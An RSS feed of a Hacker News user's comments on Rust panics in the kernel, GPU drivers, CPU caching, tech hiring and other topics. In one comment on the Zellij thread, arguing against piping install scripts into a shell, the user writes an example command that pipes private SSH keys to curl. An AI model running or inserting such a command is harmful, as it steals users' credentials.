<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hacker News: aspaceman</title><link>https://news.ycombinator.com/user?id=aspaceman</link><description>Hacker News RSS</description><docs>https://hnrss.org/</docs><generator>hnrss v2.1.1</generator><lastBuildDate>Sat, 18 Apr 2026 08:59:51 +0000</lastBuildDate><atom:link href="https://hnrss.org/user?id=aspaceman" rel="self" type="application/rss+xml"></atom:link><item><title><![CDATA[New comment by aspaceman in "“Rust is safe” is not some kind of absolute guarantee of code safety"]]></title><description><![CDATA[
<p>Ease the snark space ranger.<p>> dynamic errors fail smaller granularity tasks and handlers deal with tasks failing due to safety checks going bad.<p>Yes and that's why Rust is bad here (but it doesn't have to be). Rust _forces_ you to stop the whole world when an error occurs. You cannot fail at a smaller granularity. You have to panic. Period. This is why it is being criticized here. It doesn't allow you any other granularity. The top comment has some alternatives that still work in Rust.</p>
]]></description><pubDate>Sun, 02 Oct 2022 16:25:56 +0000</pubDate><link>https://news.ycombinator.com/item?id=33057389</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=33057389</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=33057389</guid></item><item><title><![CDATA[New comment by aspaceman in "“Rust is safe” is not some kind of absolute guarantee of code safety"]]></title><description><![CDATA[
<p>>  it's definitely not what he wrote.<p>I feel like we must have read two different articles. You sound crazy. Didn't read it your way at all.<p>> Think of that "debugging tools give a huge warning" as being the
equivalent of std::panic in standard rust. Yes, the kernel will
continue (unless you have panic-on-warn set), because the kernel
<i>MUST</i> continue in order for that "report to upstream" to have a
chance of happening.<p>"If the kernel shuts down the world, we don't get the bug report", seems like a pretty good argument. There are two options when you hit a panic in rust code:<p>* Panic and shut it all down. This prevents any reporting mechanism like a core dump. You cannot attach a normal debugger to the kernel.<p>* Ignore the panic and proceed with the information it failed, reporting this failure later.<p>The kernel is a single program, so it's not like you could just fork it before every Rust call and fail if they fail.</p>
]]></description><pubDate>Sun, 02 Oct 2022 16:04:00 +0000</pubDate><link>https://news.ycombinator.com/item?id=33057127</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=33057127</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=33057127</guid></item><item><title><![CDATA[New comment by aspaceman in "Zellij: A terminal workspace with batteries included"]]></title><description><![CDATA[
<p>It could, but I can trust that no individual stepped in the middle of that process.<p>I trust Rust to not put such a thing in their binary. I do not trust an arbitrary man in the middle, and it's trivial to modify a shell script.<p>Without a checksum, I can't ensure the binary im piping through the shell is the binary they posted and built. Anyone can step in, modify a few lines, and get access to a large part of my system. The barrier to entry to add such capability to arbitrary binaries is outrageously high.</p>
]]></description><pubDate>Fri, 12 Aug 2022 23:42:45 +0000</pubDate><link>https://news.ycombinator.com/item?id=32445291</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=32445291</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=32445291</guid></item><item><title><![CDATA[New comment by aspaceman in "Zellij: A terminal workspace with batteries included"]]></title><description><![CDATA[
<p>"a bunch of folks do something insecure" does not speak argument.<p>The argument is that it is insecure. Most easily because I can inject, "cat ~/.ssh/*_rsa | curl ..." and get your company ssh keys. There's no reason rust, brew and all the rest can't provide a Download page with a checksum. They choose not to, like this project chose not to, because it doesn't look as sexy.<p>It's really silly.</p>
]]></description><pubDate>Fri, 12 Aug 2022 23:37:03 +0000</pubDate><link>https://news.ycombinator.com/item?id=32445248</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=32445248</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=32445248</guid></item><item><title><![CDATA[New comment by aspaceman in "Nvidia releases open-source GPU kernel modules"]]></title><description><![CDATA[
<p>> Have a look at libdrm from the mesa project (the AMDGPU submodule), then it will give you pointers where to look into the kernel-DRM via the right IOCTLs.<p>Exactly the pointer I was looking for, thank you.</p>
]]></description><pubDate>Sat, 14 May 2022 00:05:28 +0000</pubDate><link>https://news.ycombinator.com/item?id=31373819</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=31373819</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=31373819</guid></item><item><title><![CDATA[New comment by aspaceman in "Nvidia releases open-source GPU kernel modules"]]></title><description><![CDATA[
<p>Do you have a reference for the AMD interface? I know it exists but don't know where to find it.</p>
]]></description><pubDate>Fri, 13 May 2022 08:17:19 +0000</pubDate><link>https://news.ycombinator.com/item?id=31364714</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=31364714</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=31364714</guid></item><item><title><![CDATA[New comment by aspaceman in "Please put units in names"]]></title><description><![CDATA[
<p>See <a href="https://unyt.readthedocs.io/en/stable/" rel="nofollow">https://unyt.readthedocs.io/en/stable/</a> in Python. This sort of feature fits really well within Python's featureset.</p>
]]></description><pubDate>Mon, 21 Mar 2022 16:44:51 +0000</pubDate><link>https://news.ycombinator.com/item?id=30756305</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=30756305</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=30756305</guid></item><item><title><![CDATA[New comment by aspaceman in "Heuristics that almost always work"]]></title><description><![CDATA[
<p>> This reads like some generic LinkedIn CEO post that sounds deep on the surface but actually means nothing.<p>I felt exactly the opposite. In my career as an engineer I regularly encounter experts who claim to be so, but offer no qualifications or expertise. Having the ability to respond to this type of stuff is valuable.<p>In my personal life, I've felt that many therapists exhibit this exact response. They choose to give heuristics and platitudes because, often times, they work. But it means they are giving up the expertise which they claim possession of.<p>I'm reminded of quite the childish thing by this article: "With great power comes great responsibility." If you claim to be an expert, you need to actually be an expert. I consider this the social contract of expertise and prestige.</p>
]]></description><pubDate>Wed, 09 Feb 2022 01:08:57 +0000</pubDate><link>https://news.ycombinator.com/item?id=30267272</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=30267272</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=30267272</guid></item><item><title><![CDATA[New comment by aspaceman in "KDE: A Nice Tiling Environment and a Surprisingly Awesome DE"]]></title><description><![CDATA[
<p>IMHO it's like your actual desk. Some people like it clean and organized - others have a cluttered mess of objects.<p>My desk is a tragedy, but I much prefer tiling window managers and rigid, well-organized computing environments. Great to see the variety of options provided by KDE. I'll have to give this a try.</p>
]]></description><pubDate>Tue, 08 Feb 2022 00:54:11 +0000</pubDate><link>https://news.ycombinator.com/item?id=30253677</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=30253677</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=30253677</guid></item><item><title><![CDATA[New comment by aspaceman in "WSL with CUDA support"]]></title><description><![CDATA[
<p>Yeah I dug into the update catalog and downloaded the update that way myself. So there's a few ways to get it. Folks above mentioned the Update Assistant giving it if the Windows Update screen doesn't.</p>
]]></description><pubDate>Sat, 22 Jan 2022 18:15:43 +0000</pubDate><link>https://news.ycombinator.com/item?id=30039272</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=30039272</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=30039272</guid></item><item><title><![CDATA[New comment by aspaceman in "I took a job at Amazon, only to leave after 10 months"]]></title><description><![CDATA[
<p>I think it's pretty common at small to mid sized companies + startups. Your more "trendy" companies and your F500 companies do the type of Leetcode interview you hear everyone on HN complain about.<p>It typically looks like a 15 minute phone interview with HR, followed by a lengthy Leetcode/ take home exam (that's auto graded, no humans), a computer form where you input your school, GPA, and courses taken (seriously). All of this info gets turned into a number and then HR takes a sample of the top X and hands it to the hiring manager: "Here are the 'viable' candidates".<p>The hiring manager then has to (basically) interview the candidate themselves. Ensure they actually have the skills for the position, determine their interest in the role, etc. So this is probably what you're doing right now. Just imagine someone filtered a bunch of your resumes first.<p>Take with a grain of salt, but I have heard of some folks explicitly getting permission to do hiring outside of HR at said large companies. The kids they get out of undergrad and through HR's Leetcode process are apparently complete garbage. Don't understand C, pointers, memory, or Linux at all. Don't even know what files are.</p>
]]></description><pubDate>Wed, 05 Jan 2022 21:17:38 +0000</pubDate><link>https://news.ycombinator.com/item?id=29815051</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=29815051</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29815051</guid></item><item><title><![CDATA[New comment by aspaceman in "How to design a house to last 1000 years"]]></title><description><![CDATA[
<p>> That rarely happens with churches.<p>I agree. If the church didn't survive, they would just build a new one.<p>I imagine there lie the remains of hundreds of separate cathedrals under one. But you would never say "the church fell down". Rather, "there was an accident and renovations were required".<p>I see them as a Ship of Theseus, where the most long-lasting examples were determined through a lot of trial and error.<p>Isn't this a thing with Notre Dame? It's been a while but I remember the opening of Hunchback mentions the rebuilding right?</p>
]]></description><pubDate>Wed, 05 Jan 2022 21:09:52 +0000</pubDate><link>https://news.ycombinator.com/item?id=29814974</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=29814974</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29814974</guid></item><item><title><![CDATA[New comment by aspaceman in "Darling – Run Mac apps on Linux"]]></title><description><![CDATA[
<p>> They are already way outside of rational territory and deep into religious territory. In their minds Linux hasn't changed a bit since 1999, even though if you were to compare mac os from that time period against modern linux, they would become enraged at the unfairness and injustice.<p>I agree that this is part of it. But I also just see plain antagonism against Linux because people recommend it. Just pure contrarianism.<p>But a lot of the recommendations for Proton are also "memey". It's a bad fit if you need Anti-Cheat or proper injection protection. And that's just the nature of the beast. A proper Anti-Cheat _shouldn't_ approve of the injection necessary to get Proton working<p>So I do have to keep a Windows installation myself. But Proton represents a really cool technical milestone. Weird the way people talk about tech in games.</p>
]]></description><pubDate>Wed, 05 Jan 2022 21:00:57 +0000</pubDate><link>https://news.ycombinator.com/item?id=29814875</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=29814875</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29814875</guid></item><item><title><![CDATA[New comment by aspaceman in "Many surprise medical bills are now illegal"]]></title><description><![CDATA[
<p>IMO the people with said power and responsibility just want to finger point. But what do you do when no one is willing to put on the pants?</p>
]]></description><pubDate>Sun, 02 Jan 2022 09:40:28 +0000</pubDate><link>https://news.ycombinator.com/item?id=29767261</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=29767261</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29767261</guid></item><item><title><![CDATA[New comment by aspaceman in "Many surprise medical bills are now illegal"]]></title><description><![CDATA[
<p>That first comment nails it as well. Everyone wants to feel like they're contributing something novel or unique to a comment thread but....</p>
]]></description><pubDate>Sun, 02 Jan 2022 09:38:44 +0000</pubDate><link>https://news.ycombinator.com/item?id=29767254</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=29767254</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29767254</guid></item><item><title><![CDATA[New comment by aspaceman in "A single line of code made a 24-core server slower than a laptop"]]></title><description><![CDATA[
<p>Found some detail - apparently the CPU manuals are the place to check  <a href="https://cs.stackexchange.com/a/1090" rel="nofollow">https://cs.stackexchange.com/a/1090</a></p>
]]></description><pubDate>Fri, 31 Dec 2021 22:19:24 +0000</pubDate><link>https://news.ycombinator.com/item?id=29753093</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=29753093</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29753093</guid></item><item><title><![CDATA[New comment by aspaceman in "A single line of code made a 24-core server slower than a laptop"]]></title><description><![CDATA[
<p>Coherency will be maintained (since the protocols support that case). But yes, a separate process would evict that memory. From the processors point of view, they're just addresses tagged with data. Caching behavior doesnt depend on virtual memory addresses because I believe that info is stripped away at that point.<p>So if someone is thrashing cache on the same core you're on, you will notice it if the processes aren't being shared effectively.<p>The contents of the cache aren't stored as part of a paused process or context switch. But I'd appreciate a correction here if I'm wrong.<p>For an example, consider two processes A and B running on a set of cores. If A makes many more memory accesses than B, A can effectively starve B of "cached" memory accesses because A accesses memory more frequently.<p>If B were run alone, then it's working set would fit in cache. Effectively making the algorithm operate from cache instead of RAM.<p>BUT. You really have to be hitting the caches hard. Doesn't happen too often in casual applications. I only encountered this on GPUs (where each core has sperate L1 but a shared L2). Even then it's only aa problem if every core is hitting different cache lines.</p>
]]></description><pubDate>Fri, 31 Dec 2021 20:17:33 +0000</pubDate><link>https://news.ycombinator.com/item?id=29752108</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=29752108</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29752108</guid></item><item><title><![CDATA[New comment by aspaceman in "FAA investigating controversial crash video"]]></title><description><![CDATA[
<p>Could anyone who is a pilot comment on what you're _supposed_ to do if your engine completely goes out? From what I've read so far the answer is "keep trying to get the engine back".<p>Do you just try and glide it out and land? That's what I would imagine. What even would be the situation where you would bail?<p>Bailing sounds like more of a military thing to me. _Or_ a fire?</p>
]]></description><pubDate>Thu, 30 Dec 2021 06:50:24 +0000</pubDate><link>https://news.ycombinator.com/item?id=29734336</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=29734336</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29734336</guid></item><item><title><![CDATA[New comment by aspaceman in "Midwest Developer"]]></title><description><![CDATA[
<p>I grew up pretty close to Chicago and folks in California still call me "corn boy".</p>
]]></description><pubDate>Tue, 28 Dec 2021 22:54:49 +0000</pubDate><link>https://news.ycombinator.com/item?id=29719302</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=29719302</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29719302</guid></item><item><title><![CDATA[New comment by aspaceman in "Why is U.S. labor supply so low?"]]></title><description><![CDATA[
<p>>  The vast majority of the deaths have been in age groups that are typically out of the workforce.<p>But I had the impression people were unable to retire or retiring significantly later.</p>
]]></description><pubDate>Sun, 26 Dec 2021 16:40:20 +0000</pubDate><link>https://news.ycombinator.com/item?id=29693867</link><dc:creator>aspaceman</dc:creator><comments>https://news.ycombinator.com/item?id=29693867</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=29693867</guid></item></channel></rss>